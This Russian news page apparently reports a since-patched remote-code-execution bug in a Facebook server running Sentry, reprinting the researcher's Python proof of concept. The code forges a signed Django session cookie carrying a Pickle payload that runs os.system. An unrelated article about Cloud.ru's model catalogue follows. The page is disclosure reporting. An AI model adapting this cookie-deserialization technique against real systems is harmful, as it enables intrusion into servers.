Баг на сервере Facebook позволял удаленно запустить вредоносный код

Баг на сервере Facebook позволял удаленно запустить вредоносный код

Баг на сервере Facebook позволял удаленно запустить вредоносный код

Разработчики Facebook исправили серьезный баг, который мог привести к удаленному выполнению кода. Сама уязвимость была обнаружена на одном из серверов интернет-гиганта, о чем сообщил исследователь безопасности Дэниел Ле Галл, также известный под псевдонимом «Blaklis».

Ле Галл, работающий в SCRT Information Security, в пятницу заявил, что ему выплатили $5000 за сообщение о проблеме безопасности.

Суть уязвимости в том, что злоумышленник может выполнить произвольные команды, используя вредоносные файлы cookie.

Несмотря на то, что подобные бреши обычно довольно опасны, эксперт подчеркнул, что с помощью этого бага нельзя было получить пользовательские данные. Разработчики устранили уязвимость в этом месяце, еще до того, как была опубликована информация о ее наличии.

«Blaklis» утверждает, что недостаток был найден на одном из серверов Facebook, где было запущено программное обеспечение для сбора логов Sentry.

«Само приложение было крайне нестабильным, особенно в отношении функции сброса пароля пользователя», — объясняет специалист.

В итоге Ле Галлу удалось найти в логах детали обработки cookie, а также подробности использования приложением протокола Pickle, который может быть уязвим для различного рода манипуляций. Используя все вышеозначенные данные, эксперт мог обработать файлы cookie, которые могли запускать команды на машине.

Исследователь опубликовал PoC-код, который является небольшим файлом cookie:

#!/usr/bin/python
import django.core.signing, django.contrib.sessions.serializers
from django.http import HttpResponse
import cPickle
import os
SECRET_KEY='[RETRIEVEDKEY]'
#Initial cookie I had on sentry when trying to reset a password
cookie='gAJ9cQFYCgAAAHRlc3Rjb29raWVxAlgGAAAAd29ya2VkcQNzLg:1fjsBy:FdZ8oz3sQBnx2TPyncNt0LoyiAw'
newContent =  django.core.signing.loads(cookie,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
class PickleRce(object):
    def __reduce__(self):
        return (os.system,("sleep 30",))
newContent['testcookie'] = PickleRce()
print django.core.signing.dumps(newContent,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies',compress=True)

Cloud.ru добавил внешние языковые модели в Foundation Models

Cloud.ru расширил сервис Foundation Models: теперь в нём доступны не только модели, развернутые в собственной инфраструктуре компании, но и внешние большие языковые модели от глобальных провайдеров, включая Alibaba, DeepSeek, Z.ai и других.

Пользователи смогут выбирать открытые и проприетарные модели под разные задачи, подключать их через единый API или веб-интерфейс, сравнивать параметры и стоимость, а платить — за фактическое использование.

В Cloud.ru называют Foundation Models единой точкой доступа к широкому набору моделей. В компании также отмечают, что сервис должен стать альтернативой OpenRouter, который ушёл с российского рынка в июне 2026 года.

Отдельный акцент сделан на работе с данными. В платформе предусмотрены инструменты контроля и безопасности, включая Guardrails. Они позволяют проверять запросы, маскировать корпоративные и пользовательские данные и снижать риск утечек при использовании сторонних моделей. Если система обнаруживает чувствительные данные, такие случаи фиксируются в мониторинговых алертах.

При этом Cloud.ru продолжит предлагать модели, развернутые в собственной инфраструктуре, для сценариев, где важно соблюдение требований 152-ФЗ. Внешние модели добавляются как отдельный вариант для задач, где нужен более широкий выбор или быстрый доступ к новым решениям глобальных провайдеров.

Сейчас в каталоге Foundation Models представлено более 20 больших языковых моделей из семейств GLM, Qwen, DeepSeek, MiniMax, GigaChat и других. Среди внешних моделей уже доступна GLM-5.2, вышедшая на мировой рынок в конце июня и привлекшая внимание результатами в задачах кодинга и агентных сценариях.

Сервис Foundation Models был запущен в коммерческую эксплуатацию в ноябре 2025 года. С тех пор модели обработали 450 млрд токенов. Среди наиболее популярных сценариев использования в Cloud.ru называют разработку, клиентскую поддержку, продажи и создание контента.

По сути, Cloud.ru расширяет витрину моделей: часть можно использовать внутри собственной инфраструктуры компании, часть — подключать у внешних провайдеров, но через единый интерфейс и с дополнительным контролем данных.

RSS: Новости на портале Anti-Malware.ru